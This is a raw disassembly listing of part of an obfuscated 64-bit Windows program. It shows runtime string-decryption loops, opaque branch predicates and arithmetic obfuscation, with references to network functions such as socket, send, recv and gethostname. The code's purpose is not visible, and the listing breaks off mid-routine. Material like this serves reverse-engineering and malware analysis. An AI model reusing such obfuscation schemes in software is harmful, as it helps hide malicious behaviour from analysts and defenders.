jmp 0x140088903
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140088728
movabs rcx, 0xfa7f31c892926680
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140087c62
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008814f
movabs rcx, 0x8f99d3db98add570
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140088887
movabs rdx, 0x24b475ee9ec94460
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xe60]
add r11b, dl
add r11b, bl
jmp 0x140088903
movabs rdx, 0xef41c6f821d6fbd8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xe60]
add r11b, dl
add r11b, bl
jmp 0x140088993
movabs rdx, 0xe1bb91cf262533c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140087c62
movabs rcx, 0x438e68136f549bc4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5c
jmp 0x140088954
movabs rdx, 0xae73c60069392cd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140087c62
movabs rcx, 0x195923ed631dbde4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x140088887
movabs rdx, 0x843e81da5d024ef4
mov ecx, Ordinal_45
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0xbf6dcd69dd4268a4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x7c
add bl, cl
mov byte [rbp + rdi + 0xe60], bl
inc r9
dec rdi
inc rdi
jmp 0x140087c62
movabs rcx, 0xef23dfc756e6e004
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
dec rdi
inc rdi
jmp 0x140087c62
movabs rdx, 0x24968ebdd3d9288c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x89fb1e736050201c
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, bl
mov byte [rbp + rdi + 0xe60], dl
jmp 0x140088954
movabs rdx, 0x5a093db450cb7114
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140087c62
mov rbx, r10
movabs rdx, 0xc4ee9ba14ab00224
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0x54886f7ce35dd794
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0xc
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xe60], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xb9cf1801a4e4b350
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x30
add bl, cl
mov byte [rbp + rdi + 0xe60], bl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140087c62
movabs rcx, 0x2fd3f98e44949334
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6c
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140087c62
movabs rdx, 0x9db58cf88b1028ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140087c60
movabs rcx, 0xd3283bef08027134
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
jmp 0x140087c50
lea rsi, [rbp + 0x15bb0b0]
jmp 0x140088aa8
lea rsi, [rbp + 0x628c6c]
jmp 0x140088aa8
lea rsi, [rbp + 0xe60]
lea rdx, [0x14022a0c0]
lea rcx, [rbp + 0x668]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x18]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a4062
mov byte [rbp + 0xe88], 0x51
mov byte [rbp + 0xe89], __WSAFDIsSet
mov byte [rbp + 0xe8a], 0x45
mov byte [rbp + 0xe8b], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xe8c], Ordinal_45
mov byte [rbp + 0xe8d], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe8e], Ordinal_45
mov byte [rbp + 0xe8f], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xe90], 0xae
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe91], xmm0
mov qword [rbp + 0xea1], rax
mov word [rbp + 0xea9], ax
movabs r14, 0x33e4a6ff1599c31d
movabs r15, 0x32e975edbfbcce83
movabs r13, 0xe4d3af2ac9deecb1
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r9, qword [0x1402304a8]
mov r8, qword [0x1402304a0]
nop
xor ebx, ebx
movabs rcx, 0x270ae3617aeef0e9
cmp rbx, 0x23
jae 0x140089a28
movzx r11d, byte [rbp + rbx + 0xe88]
mov rdx, r11
cmp r9, rbx
ja 0x140089a1c
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140088bd4
add rcx, rbx
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x5f
jmp 0x140088c20
je 0x140089994
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400898f9
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400898c6
lea rax, [r8 + 2]
cmp r9, rax
je 0x14008988f
lea rax, [r8 + 5]
cmp r9, rax
je 0x14008982e
lea rax, [r8 + 6]
cmp r9, rax
je 0x140089801
nop dword [rax + rax]
cmp r8, rbx
ja 0x140089a10
lea rax, [r8 + 0x41]
cmp r9, rax
jae 0x140088c55
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x35
add r10b, dl
jmp 0x140088c90
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400897ad
lea rax, [r8 + 3]
cmp r9, rax
je 0x140089789
lea rax, [r8 + 5]
cmp r9, rax
je 0x140089755
lea rax, [r8 + 8]
cmp r9, rax
je 0x140089720
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14008932f
nop dword [rax]
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x140089306
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400892d4
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400892aa
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x140089286
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14008924a
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x140089211
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400891ed
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400891c9
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14008918f
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140088ca0
lea r9, [r8 + 0x10]
lea r8, [r9 + 6]
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400899ec
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400899c8
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x140088e8a
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x140088e6b
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x140088e4c
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14008912e
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x1400890d4
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x140089085
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x140089056
lea rax, [r8 + 8]
cmp r9, rax
jb 0x140088ca0
lea r9, [r8 + 3]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 4]
cmp r9, rax
ja 0x140089021
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x140088ffd
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x140088fd4
lea rax, [r8 + 5]
cmp r9, rax
ja 0x140088f9b
lea rax, [r8 + 6]
cmp r9, rax
ja 0x140088f64
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x140088f40
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x140088f11
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x140088edf
lea rax, [r8 + 9]
cmp r9, rax
ja 0x140088ebb
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x140088ca0
lea r9, [r8 + 0x61]
lea r8, [r9 + 1]
jmp 0x140088ca0
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6b
add r10b, dl
jmp 0x140088c90
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x29
add r10b, dl
jmp 0x140088c20
movabs rdx, 0x96bde867d4010adf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x19
add r10b, dl
movabs rcx, 0x270ae3617aeef0e9
jmp 0x140088b9f
movabs rcx, 0x9f2537f8acce18e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
jmp 0x1400897cc
movabs rdx, 0x510f7135b6f03716
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140088b82
movabs rdx, 0x2f9aa72c1125544
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140088b82
movabs rcx, 0xb4e3e3afcb347372
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x14008984d
movabs rcx, 0x66ce1cecd55691a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
movabs rdx, 0x18b85629df78afce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
movabs rdx, 0xcaa28f66e99acdfc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008991b
movabs rcx, 0x7c8cc8a3f3bcec2a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x14008994b
movabs rcx, 0x2e7701e0fddf0a58
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
movzx eax, byte [rbp + rbx + 0xe88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140088b82
movabs rcx, 0x6b4090f9973455cb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
mov byte [rbp + rbx + 0xe88], r10b
inc rbx
jmp 0x140088b82
movabs rcx, 0x1d2aca36a15673f9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
cmp r8, 8
jb 0x140089075
movabs rcx, 0x8e5698d6fb33fcd6
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400897cc
movabs rcx, 0xcf150373ab789227
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x11
cmp r9, 0x42
jae 0x1400896c4
lea rax, [r8 + 0x10]
cmp r9, rax
jbe 0x14008955d
movabs rcx, 0x817cd53960892aa2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x1400890a4
movabs rcx, 0x80ff3cb0b59ab055
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
lea rax, [r8 + r9]
cmp rax, 0x28
je 0x1400896f5
lea rax, [r8 + 0x200]
cmp r9, rax
jbe 0x14008944a
movabs rcx, 0x4d982e3a4aef6785
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
jmp 0x1400890f3
movabs rdx, 0x375be9fa819a92ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xe88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140088b82
movabs rcx, 0xe94623378bbcb0dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x14008994b
movabs rcx, 0x9b305c7495decf0a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
jmp 0x14008991b
movabs rdx, 0x4d1a95b1a000ed38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
movabs rdx, 0xff04ceeeaa230b66
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
movabs rcx, 0xb0ef082bb4452994
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x14008984d
movabs rcx, 0x62d94168be6747c2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
dec rbx
inc rbx
jmp 0x140088b82
movabs rdx, 0x14c37aa5c88965f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140088b82
movabs rdx, 0xc6adb3e2d2ab841e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400897cc
lea rax, [r8 + 0x1000]
cmp r9, rax
jae 0x140089363
movabs rcx, 0x270ae3617aeef0e9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
jmp 0x14008914d
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400893aa
movabs rdx, 0x67c94dfe2b33863a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xe88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140088b82
inc rax
cmp r9, rax
jne 0x1400893da
movabs rcx, 0xb5df14c12111680c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x14008994b
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14008940b
movabs rcx, 0xee362fccf888ef54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x14008984d
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14008914d
movabs rdx, 0x8a61bd52e444b2f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140088b82
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008947b
movabs rcx, 0x9badf4fd40cd4957
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
jmp 0x1400897cc
inc rax
cmp r9, rax
jne 0x1400894b4
movabs rcx, 0xe9c3bbc036ab2b29
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
inc r8
dec rbx
inc rbx
jmp 0x140088b82
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400894eb
movabs rcx, 0x37d982832c890cfb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
dec rbx
inc rbx
jmp 0x140088b82
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14008952c
movabs rcx, 0x221ad6cc0e22b271
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400890f3
movabs rcx, 0x70309d8f04009443
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2b
jmp 0x14008991b
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14008959f
movabs rcx, 0xcf929bfc56670c74
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
movzx eax, byte [rbp + rbx + 0xe88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140088b82
inc rax
cmp r9, rax
jne 0x1400895d4
movabs rdx, 0x6bbe29824222d018
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008991b
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140089618
movabs rcx, 0x7e9b7082dde93bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14008964e
movabs rdx, 0x55ff7dcb23bc758e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008984d
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14008968a
movabs rdx, 0xa415448e199a5760
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140088b82
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400890a4
movabs rcx, 0xf22b0b510f783932
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
inc r8
dec rbx
inc rbx
jmp 0x140088b82
movabs rdx, 0xdc6c5f99f111dea8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xe88]
add r10b, dl
add r10b, r11b
jmp 0x14008984d
movabs rcx, 0x2a82265ce6efc07a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xe88]
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x14008991b
movabs rcx, 0xf2a8a3d9ba66b37f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x79
movzx eax, byte [rbp + rbx + 0xe88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140088b82
movabs rcx, 0x8674f90d8cd0e09
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
movabs rcx, 0x6c3bc20aed114a65
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3d
jmp 0x14008984d
movabs rcx, 0x81fa6dc20b77a4ef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
movabs rcx, 0xb5617c387622edbf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x39
add r11b, cl
mov byte [rbp + rbx + 0xe88], r11b
inc r8
dec rbx
inc rbx
jmp 0x140088b82
movabs rcx, 0x97b9197929ddff79
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
inc r8
dec rbx
inc rbx
jmp 0x140088b82
movabs rcx, 0xfb8d8bf33e223bd5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
movabs rcx, 0x37742fb6c00cf91
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 9
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xe88], r11b
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
movabs rcx, 0xad77c53048445a03
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
movabs rcx, 0x5f61fe6d52667831
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x57
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088b82
mov r11, rdx
movabs rcx, 0x114c37aa5c88965f
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 0x67
add r10b, cl
movabs rcx, 0x518d09be61deb163
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x4b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xe88], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0x7897ed1fdccda24c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x14
add r11b, cl
mov byte [rbp + rbx + 0xe88], r11b
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140088b82
movabs rcx, 0x7520aa2470ccd2bb
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x1d
movzx eax, byte [rbp + rbx + 0xe88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140088b82
movabs rcx, 0x48a821a4de23290d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
jmp 0x140088b7e
movabs rcx, 0xfa925ae1e845473b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x63
jmp 0x140088b68
lea rcx, [rbp + 0x149eb14]
jmp 0x140089a2f
lea rcx, [rbp + 0xb8dbfd]
jmp 0x140089a2f
lea rcx, [rbp + 0xe88]
mov dword [rbp + 0x1008], 0x64
mov dword [rbp + 0x1010], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1008]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1010]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xeb0], 0x61
mov byte [rbp + 0xeb1], 0x7f
mov byte [rbp + 0xeb2], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xeb3], 0xa1
mov byte [rbp + 0xeb4], 8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xeb5], xmm0
mov qword [rbp + 0xec5], rax
mov dword [rbp + 0xecd], eax
mov word [rbp + 0xed1], ax
movabs rdi, 0xb33521aa7888972
movabs rsi, 0xd03b503685ac50ce
movabs r15, 0xcfc57dd081e1ee2a
movabs r14, 0x30b0549581e8747a
movabs r13, 0x912558f47e249826
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008a8ac
movzx r11d, byte [rbp + rbx + 0xeb0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008a8a0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140089b53
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x26
jmp 0x140089b73
je 0x14008a812
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008a7d6
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008a77d
cmp r9, rbx
ja 0x14008a894
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140089ba8
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1e
add r10b, dl
jmp 0x140089bf0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008a758
inc rax
cmp r8, rax
je 0x14008a72e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008a705
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008a6cc
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008a630
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008a25d
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008a238
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008a206
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14008a1d7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008a1b3
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008a19f
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008a166
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008a13e
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008a116
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008a0dc
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140089c00
lea r8, [r9 + 0x20]
lea r9, [r8 + 6]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14008a86f
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008a846
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140089df3
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140089dd8
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140089db8
lea rax, [r9 + 9]
